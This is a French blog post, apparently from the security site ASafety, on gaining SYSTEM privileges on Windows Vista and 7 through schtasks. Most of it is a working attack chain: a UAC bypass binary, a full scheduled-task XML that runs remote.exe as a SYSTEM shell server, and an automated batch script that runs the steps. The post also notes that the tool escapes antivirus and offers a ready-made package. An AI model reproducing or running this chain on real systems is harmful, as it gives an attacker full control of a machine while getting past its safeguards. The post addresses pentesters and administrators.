[Win Vista,7] Escalade de privilège via SCHTASKS et bypass UAC

Il y a quelques jours ASafety vous communiquait la technique d’escalade de privilège SYSTEM sur les environnements Windows récents avec la méthode AT remise au goût du jour.

Vous n’êtes pas sans savoir que la commande AT de gestion des tâches planifiées est considérée comme obsolète sur les OS Windows depuis Vista. Son digne successeur se nomme “schtask”. Cette nouvelle commande fournit un grand nombre de fonctionnalités additionnelles, notamment le paramétrage complet d’une tâche planifiée à partir d’un fichier XML.

L’idée est toujours la même, exploiter le scheduler de tâche natif sous Windows pour l’obtention de privilège d’administration SYSTEM sur la machine. Ces techniques sont toutes aussi utiles pour les administrateurs systèmes, les intégrateurs de solutions logicielles que pour les pentesteurs.

Les principaux points bloquants pour l’obtention d’un shell SYSTEM via les tâches planifiées sont :

• La nécessité d’un shell sous un compte “administrateur”
• Le bypass de l’UAC (User Account Control)
• L’obtention d’un shell avec une interactivité graphique moindre (pour faciliter le travail des pentesteurs)

Comme détaillé dans le précédent article cité ci-dessus, le bypass de l’UAC se fait aisément à l’aide de nombreux outils, notamment celui du projet “bypassuac“. Il est nécessaire de ce munir de ce binaire sur le système ciblé.

Pour réduire l’interactivité graphique, l’outil “remote.exe” fourni par Microsoft dans les Windows Debugger Tools est amplement suffisant pour plusieurs raisons :

• Il assure la partie cliente et serveur à la fois
• Il existe une version x86 et x64 standalone
• Il est légitime de Microsoft et n’est donc pas considéré comme un programme suspect par les antivirus (idéal pour les pentesteurs)
• Il opère à même le terminal courant, permettant ainsi d’une élévation de privilège même dans les shell restreints

“Schtasks” est le successeur de la commande “at” depuis Windows Vista. Tous les deux font appel au scheduler pour exécuter des actions planifiées sous un contexte défini. Dans le cas de “schtasks”, ce contexte peut se déclarer dans un fichier XML.

Une fois la machine cible équipée du binaire “bypassuac.exe” et de “remote.exe”, il suffit de créer un fichier “schtasks.xml” avec les paramètres adéquates :

[xml]</p><br /><br /><br /><br />
<p><?xml version="1.0" encoding="UTF-16"?><br /><br /><br /><br /><br />
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task"><br /><br /><br /><br /><br />
<RegistrationInfo><br /><br /><br /><br /><br />
<Date>2008-03-26T16:40:47.4520087</Date><br /><br /><br /><br /><br />
<Author>CONTOSO\Administrator</Author><br /><br /><br /><br /><br />
</RegistrationInfo><br /><br /><br /><br /><br />
<Triggers /><br /><br /><br /><br /><br />
<Principals><br /><br /><br /><br /><br />
<Principal id="Author"><br /><br /><br /><br /><br />
<UserId>SYSTEM</UserId><br /><br /><br /><br /><br />
<RunLevel>HighestAvailable</RunLevel><br /><br /><br /><br /><br />
</Principal><br /><br /><br /><br /><br />
</Principals><br /><br /><br /><br /><br />
<Settings><br /><br /><br /><br /><br />
<IdleSettings><br /><br /><br /><br /><br />
<Duration>PT10M</Duration><br /><br /><br /><br /><br />
<WaitTimeout>PT1H</WaitTimeout><br /><br /><br /><br /><br />
<StopOnIdleEnd>true</StopOnIdleEnd><br /><br /><br /><br /><br />
<RestartOnIdle>false</RestartOnIdle><br /><br /><br /><br /><br />
</IdleSettings><br /><br /><br /><br /><br />
<MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy><br /><br /><br /><br /><br />
<DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries><br /><br /><br /><br /><br />
<StopIfGoingOnBatteries>true</StopIfGoingOnBatteries><br /><br /><br /><br /><br />
<AllowHardTerminate>false</AllowHardTerminate><br /><br /><br /><br /><br />
<StartWhenAvailable>false</StartWhenAvailable><br /><br /><br /><br /><br />
<RunOnlyIfNetworkAvailable>false</RunOnlyIfNetworkAvailable><br /><br /><br /><br /><br />
<AllowStartOnDemand>true</AllowStartOnDemand><br /><br /><br /><br /><br />
<Enabled>true</Enabled><br /><br /><br /><br /><br />
<Hidden>false</Hidden><br /><br /><br /><br /><br />
<RunOnlyIfIdle>false</RunOnlyIfIdle><br /><br /><br /><br /><br />
<WakeToRun>false</WakeToRun><br /><br /><br /><br /><br />
<ExecutionTimeLimit>PT0S</ExecutionTimeLimit><br /><br /><br /><br /><br />
<Priority>7</Priority><br /><br /><br /><br /><br />
</Settings><br /><br /><br /><br /><br />
<Actions Context="Author"><br /><br /><br /><br /><br />
<Exec><br /><br /><br /><br /><br />
<Command>"C:\remote.exe"</Command><br /><br /><br /><br /><br />
<Arguments>/s cmd SYSCMD</Arguments><br /><br /><br /><br /><br />
<WorkingDirectory>C:\</WorkingDirectory><br /><br /><br /><br /><br />
</Exec><br /><br /><br /><br /><br />
</Actions><br /><br /><br /><br /><br />
</Task></p><br /><br /><br /><br />
<p>[/xml]

Dans ce fichier, plusieurs lignes sont à modifier :

• La ligne de l’utilisateur pour l’exécution (SYSTEM) :

[xml]<UserId>SYSTEM</UserId>[/xml]

• La commande à exécuter, à savoir “remote.exe” via son chemin d’accès absolu :

[xml]<Command>"C:\remote.exe"</Command>[/xml]

• Les paramètres à transmettre à la commande, à savoir lancer “remote.exe” en tant que serveur avec les privilèges SYSTEM :

[xml]<Arguments>/s cmd SYSCMD</Arguments>[/xml]

• Enfin le répertoire de travail arbitraire :

[xml]<WorkingDirectory>C:\</WorkingDirectory>[/xml]

Une fois ces modifications faites, le script Batch .bat suivant recense la suite des opérations :

[bash]</p><br /><br /><br /><br />
<p>:: Provided by ASafety.fr<br /><br /><br /><br /><br />
@echo off<br /><br /><br /><br /><br />
set BYPASSUACPATH=C:\bypassuac.exe<br /><br /><br /><br /><br />
set REMOTEPATH=C:\remote.exe<br /><br /><br /><br /><br />
set XMLPATH=C:\schtasks.xml<br /><br /><br /><br /><br />
%BYPASSUACPATH% /c schtasks /delete /tn RemoteAsSystem /F<br /><br /><br /><br /><br />
%BYPASSUACPATH% /c schtasks /create /tn RemoteAsSystem /xml %XMLPATH%<br /><br /><br /><br /><br />
%BYPASSUACPATH% /c schtasks /run /tn RemoteAsSystem<br /><br /><br /><br /><br />
ping 127.0.0.1 -n 2 > NUL<br /><br /><br /><br /><br />
%REMOTEPATH% /c %COMPUTERNAME% SYSCMD</p><br /><br /><br /><br />
<p>[/bash]

Le principe de fonctionnement est le suivant :

• Le chemin d’accès au binaire “bypassuac.exe” est à définir dans une variable.
• Le chemin d’accès au binaire “remote.exe” est à définir dans une variable.
• Le chemin d’accès au fichier XML “schtasks.xml” est à définir dans une variable.
• Le script supprime toute ancienne tâche planifiée nommée “RemoteAsSystem” en bypassant l’UAC.
• Le script crée une nouvelle tâche planifiée “RemoteAsSystem” en chargeant ses propriétés à partir du fichier XML prédéfini.
• La tâche planifiée créée est déclenchée manuellement en bypassant l’UAC.
• Un temps d’attente de 2 secondes est réalisé.
• Enfin, “remote.exe” est utilisé sous son mode “client” pour se connecter localement via le nom Netbios de la machine au serveur qui dispose des privilèges SYSTEM.

L’exécution de ce script donne le résultat suivant :

L’ensemble des binaires, outils et script ont été centralisés dans le package Win7_Local-Privilege-Escalation_SCHTASKS_BypassUAC afin de faire gagner du temps aux pentesteurs.

Cette méthode n’est pas nouvelle et est à considérer comme une évolution de la technique via AT avec le nouveau binaire SCHTASKS. Elle a été traitée en 2008 sur le blog TechNet de Microsoft. ASafety la fait suivre ici en fournissant un script Batch automatisé et un package prêt à l’emploi.

Sources & ressources :

• ASafety – Privilège escalation via AT du temps de Windows XP
• ASafety – Privilège escalation via AT sur les Windows récents
• BypassUAC – TrustedSEC
• Getting a CMD prompt as SYSTEM in Windows Vista and Windows Server 2008 – TechNet
• Debugging Tools for Windows